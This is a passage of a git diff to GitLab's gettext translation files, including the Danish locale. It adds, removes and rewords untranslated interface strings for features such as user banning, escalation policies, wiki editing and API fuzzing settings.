msgstr ""
@@ -32056,6 +32737,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -32218,9 +32902,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32368,6 +33049,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32398,7 +33082,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32425,6 +33109,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32620,6 +33307,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32665,6 +33355,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32683,9 +33376,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32989,9 +33679,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -33058,12 +33745,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -33091,6 +33772,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -33154,9 +33838,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -33199,9 +33880,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -33325,7 +34003,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33427,9 +34108,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33763,6 +34441,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33805,9 +34486,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33832,6 +34510,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33883,9 +34564,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33916,12 +34594,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33931,6 +34603,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33982,6 +34657,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -34165,9 +34843,6 @@ msgstr[5] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -34282,9 +34957,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34402,13 +35074,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34438,9 +35110,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34642,6 +35311,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34867,6 +35539,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -35110,6 +35785,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -35269,6 +35947,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35590,6 +36271,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35599,6 +36283,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35707,27 +36394,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35860,6 +36565,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35881,6 +36589,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35992,6 +36703,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36565,15 +37279,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36613,9 +37327,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36643,16 +37354,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36685,9 +37396,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36934,6 +37642,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -37042,6 +37753,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -37060,12 +37777,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -37075,6 +37798,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -37096,9 +37825,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -37267,6 +37993,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37471,6 +38200,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37582,9 +38314,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37867,10 +38605,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37909,6 +38647,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37939,9 +38680,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -38143,9 +38881,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38485,6 +39220,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38746,6 +39520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38827,7 +39604,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38932,6 +39709,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38992,9 +39772,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -39022,10 +39799,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -39067,9 +39841,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -39085,12 +39856,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39514,6 +40291,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39637,6 +40420,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index 7c938d3c192..4faab3e520e 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:20\n"
+"PO-Revision-Date: 2021-06-01 20:37\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
